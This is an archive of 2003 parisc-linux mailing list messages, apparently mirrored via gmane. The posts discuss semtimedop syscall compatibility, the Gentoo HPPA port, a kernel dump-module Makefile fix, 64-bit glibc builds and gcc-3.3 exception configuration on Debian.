 #define HPUX_GATEWAY_ADDR       0xC0000004


From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4 and semtimedop - need kernel compat?
Date: Mon, 19 May 2003 23:06:31 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030519220631.GA31518@parcelfarce.linux.theplanet.co.uk>
References: <20030519201224.GB542@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622468 25867 80.91.229.3 (22 Nov 2014 02:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 16:06:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB5E04829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 16:06:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Hsm7-0008E1-IY; Mon, 19 May 2003 23:06:31 +0100
Content-Disposition: inline
In-Reply-To: <20030519201224.GB542@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18521

On Mon, May 19, 2003 at 04:12:24PM -0400, Carlos O'Donell wrote:
> 
> pa,
> 
> I think I'm leaving the "filling in" of this to Randolph :)
> For now it provides enough functionality for glibc to build and be all
> happy and merry. Wether we strictly need compat code for semtimedop is
> uknown.

Uh, you don't need to do anything.  If you call an unassigned syscall,
you get -ENOSYS.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Gentoo HPPA port
Date: Mon, 19 May 2003 16:33:27 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030519223327.3ED4437D68@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622469 25876 80.91.229.3 (22 Nov 2014 02:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 16:33:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BA084829
	for <parisc-linux@parisc-linux.org>; Mon, 19 May 2003 16:33:28 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel7.hp.com (Postfix) with ESMTP id EB5A41C00E35
	for <parisc-linux@parisc-linux.org>; Mon, 19 May 2003 18:33:27 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP id A34D5380D5
	for <parisc-linux@parisc-linux.org>; Mon, 19 May 2003 16:33:27 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP id 7E686439B
	for <parisc-linux@parisc-linux.org>; Mon, 19 May 2003 16:33:27 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 3ED4437D68
	for <parisc-linux@parisc-linux.org>; Mon, 19 May 2003 16:33:27 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18522

Hi palinux'ers,

Someone just pointed me at a Gentoo HPPA install guide,

http://www.gentoo.org/doc/en/gentoo-hppa-install.xml

If any Gentoo people are paying attention you might want to keep the
list up to date with what you're doing so that someone can update the
parisc-linux.org website with any future announcements you'd like to
make.

-- 
Matt Taggart
taggart@fc.hp.com


From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Todd <rtodd@antipentium.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gentoo HPPA port
Date: Mon, 19 May 2003 18:53:25 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <BAEED8A5.C07%rtodd@antipentium.com>
References: <20030519223327.3ED4437D68@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622469 25881 80.91.229.3 (22 Nov 2014 02:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:29 +0000 (UTC)
To: Matt Taggart <taggart@carmen.fc.hp.com>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 16:53:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from crypto.hack.co.za (h-69-3-43-158.PHLAPAFG.covad.net [69.3.43.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26F83484C
	for <parisc-linux@parisc-linux.org>; Mon, 19 May 2003 16:53:37 -0600 (MDT)
Original-Received: from [10.0.1.2] (pcp02226300pcs.rte20201.de.comcast.net [68.32.188.79])
	by crypto.hack.co.za (Postfix) with ESMTP
	id 5316D17AE; Tue, 20 May 2003 00:52:18 +0200 (SAST)
User-Agent: Microsoft-Entourage/10.0.0.1309
In-Reply-To: <20030519223327.3ED4437D68@carmen.fc.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18523

I have Gentoo running on a few HPPA boxes (j5000 and a C180) Guy, the lead
HPPA porter for PA-Risc Gentoo has been working very hard to get a lot of
things working. We have Gentoo running very well in SMP as well as working
on GCC3.3 which is working rather well so far. There is usually someone in
irc.freenode.net #gentoo-hppa for help if anyone needs it....

-- 

  
Never be afraid to try something new.
Remember, Amateurs built the ark. Professionals built
the Titanic. 




On 5/19/03 6:33 PM, "Matt Taggart" <taggart@carmen.fc.hp.com> wrote:

> Hi palinux'ers,
> 
> Someone just pointed me at a Gentoo HPPA install guide,
> 
> http://www.gentoo.org/doc/en/gentoo-hppa-install.xml
> 
> If any Gentoo people are paying attention you might want to keep the
> list up to date with what you're doing so that someone can update the
> parisc-linux.org website with any future announcements you'd like to
> make.



From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4 and semtimedop - need kernel compat?
Date: Mon, 19 May 2003 19:16:20 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20030519231620.GA1489@systemhalted>
References: <20030519201224.GB542@systemhalted> <20030519220631.GA31518@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622469 25889 80.91.229.3 (22 Nov 2014 02:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 17:15:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com (fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81F3E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 17:15:15 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep04-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030519231514.EWGU4342.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Mon, 19 May 2003 19:15:14 -0400
Content-Disposition: inline
In-Reply-To: <20030519220631.GA31518@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (87% Sync Ratio [=========.])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep04-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Mon, 19 May 2003 19:15:14 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18524

> Uh, you don't need to do anything.  If you call an unassigned syscall,
> you get -ENOSYS.

The idea was that it might be able to provide the required compat
functionality in 2.4. If we feel it's not possible then we can eliminate
all the entries in sys_parisc.c/sys32_parisc.c and leave the syscall as
ENTRY_SAME(nisyscall) in entry.S.

The glibc side of the code is done.

c.



From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: Dump module patche.
Date: Tue, 20 May 2003 14:19:02 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <3EC7621000000876@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622469 25895 80.91.229.3 (22 Nov 2014 02:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bruno Vidal" <bruno_vidal@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 06:19:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BD8C4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 06:19:13 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19I64x-0001s9-00; Tue, 20 May 2003 14:18:51 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 20 May 2003 14:19:02 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18525

>gcc version 3.0.4
>
>
>Joel Soete wrote:
>> Bruno,
>>
>>>>sorry, I don't remember this kind of error...did you try make mrproper
>>>
>> ???
>>
>>>>
>>>I think so as I prefer distclean?
>>>
>>>umm 2.4.20-pa32 is still available in ftp.p-l.org:/cvs so I will first
>grab
>>>it and apply patch. Then comeback to you :)
>>>
>>
>> It didn't help so I have to come back to you with severall questions:
>>
>> A. what is your compiler release gcc 3.0 3.2 3.3?
>>
>> B. I suspect also a different .config: may I ask your to compare with
mine?
>>
Hi Bruno,

Continuing my investigation, I reach now (with some known modif) to compile
the kernel with your patch and gcc-3.3 (as it seems that it became the
default in unstable) but to reach to compile dump_lbz2 (as static builtin)
i had to change following stuff into driver/dump/Makefile:

--- Makefile.orig	2003-05-20 14:50:46.000000000 +0200
+++ Makefile	2003-05-20 12:58:43.000000000 +0200
@@ -6,6 +6,7 @@
 # the dump directory.
 #

+O_TARGET        :=      dumpdrv.o
 export-objs	:=	dump_base.o

 list-multi	:=	dump.o
@@ -34,7 +35,8 @@
 	dump-objs		+= dump_parisc.o
 endif

+include $(TOPDIR)/Rules.make
+
 dump.o:	$(dump-objs)
 	$(LD) -r -o $@ $(dump-objs)

-include $(TOPDIR)/Rules.make

I do not realy understand make :(

Thanks for advise,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4 and semtimedop - need kernel compat?
Date: Tue, 20 May 2003 19:20:57 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3EC76210000009D0@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622470 25902 80.91.229.3 (22 Nov 2014 02:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 11:21:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (unknown [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6F93482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 11:21:14 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19IAn8-0000dH-00; Tue, 20 May 2003 19:20:46 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 20 May 2003 19:20:57 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18526

>The idea was that it might be able to provide the required compat
>functionality in 2.4. If we feel it's not possible then we can eliminate
>all the entries in sys_parisc.c/sys32_parisc.c and leave the syscall as
>ENTRY_SAME(nisyscall) in entry.S.
>
>The glibc side of the code is done.
>
Hi Carlos,

In the very last Andrea's patch 2.4.21rc2aa1.bz2, I read that Andrea already
back port this stuff :)

At a first glance, the job is also applied for hppa. Would you like that
I have
a look to see if it is applicable with your patch in p-l cvs tree?

Joel




---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hamilton Coutinho <hamilton@tteng.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building glibc (static) with 64 bits toolchain
Date: Tue, 20 May 2003 18:55:41 -0300
Lines: 29
Approved: news@gmane.org
Message-ID: <20030520215541.GA11860@hamilton.tteng.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622470 25906 80.91.229.3 (22 Nov 2014 02:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 15:55:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from einstein.tteng.com.br (unknown [200.203.41.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30DF2482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 15:55:50 -0600 (MDT)
Original-Received: (from root@localhost)
	by einstein.tteng.com.br (8.11.6/8.11.6) id h4KLthr18769
	for parisc-linux@lists.parisc-linux.org; Tue, 20 May 2003 18:55:43 -0300
Original-Received: from hamilton.tteng.com.br (hamilton.tteng.com.br [192.168.0.100])
	by einstein.tteng.com.br (8.11.6/8.11.6) with ESMTP id h4KLtfP18762
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 18:55:41 -0300
Original-Received: by hamilton.tteng.com.br (Postfix, from userid 1000)
	id 380616982; Tue, 20 May 2003 18:55:41 -0300 (BRT)
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18527

Hello,

I'm trying to figure it out how far we are from the most simple 64 bits
userspace I could think of. I read the list's archive and understand
that this is a subject that was beaten to death already (I'm also aware
of the doubtful usefulness of it). So, I'm planning to annoy you the
least I can :)

I think I have all sorted out (well, most of it, I think): for a simple
"hello world" app I need kernel support for execve, brk, write, mmap
(and a few others), a 64 bits toolchain and a libc (diet or the full
blown glibc :). Sure enough, the libc is the grayest area for me.

>From the archive, I read that Carlos O'Donell is working on this very
subject with promising results. So I setup to build a full blown glibc.
After tinkering with it a little I realized that sysdeps/hppa/hppa64
directory was missing. I couldn't find it anywhere (tried glibc cvs,
parisc cvs, debian). Could you help me with directions to where to find
it?

Thanks.

-- 
Hamilton Coutinho
hamilton@tteng.com.br
T&T Engenheiros Associados Ltda (http://www.tteng.com.br/)
Fone/Fax (51) 3224-8425
Porto Alegre - RS - Brasil


From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.3 configuration
Date: Wed, 21 May 2003 01:42:53 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <16074.48509.259405.775905__21959.4245114878$1416622470$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622470 25908 80.91.229.3 (22 Nov 2014 02:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:30 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, m68k-build@nocrew.org
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 17:46:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22BBC482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 17:46:20 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id BAA03077;
	Wed, 21 May 2003 01:42:53 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id h4KNgri18204;
	Wed, 21 May 2003 01:42:53 +0200 (MEST)
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18528

For Debian GNU/Linux gcc-3.3 is currently configured with

	--with-sjlj-exceptions

to allow a binary compatible upgrade from gcc-3.2 to gcc-3.3. The
other Debian platform, where sjlj based exceptions changed to dwarf2
based exceptions is m68k, therefore the CC.

As there are no hppa/m68k distributions released using gcc-3.2,
compatibility with other released distros is not an issue. OTOH, I see
Gentoo and probably other distros built for hppa, first starting with
gcc-3.3, and maybe configured the standard way.

Is it worth (or needed) to strive for binary compatibility of hppa
based distributions, based on gcc-3.3 and glibc-2.3.x?

If yes, does the following approach work: Build a libstdc++5-3.3,
conflicting with libstdc++5 (including libstdc++ with the same soname)
and doing binary uploads for hppa for all libstdc++5 dependent
packages? (The same could be done for m68k, but the compatibility
argument doesn't hold as Debian seems to be the only m68k based
distro).

	Matthias



From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 configuration
Date: Wed, 21 May 2003 01:08:54 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20030521000854.GN31518__7585.9461249367$1416622471$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <16074.48509.259405.775905@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622471 25918 80.91.229.3 (22 Nov 2014 02:14:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	m68k-build@nocrew.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 18:08:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48324482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 18:08:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19IHA6-0008F9-6z; Wed, 21 May 2003 01:08:54 +0100
Content-Disposition: inline
In-Reply-To: <16074.48509.259405.775905@gargle.gargle.HOWL>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
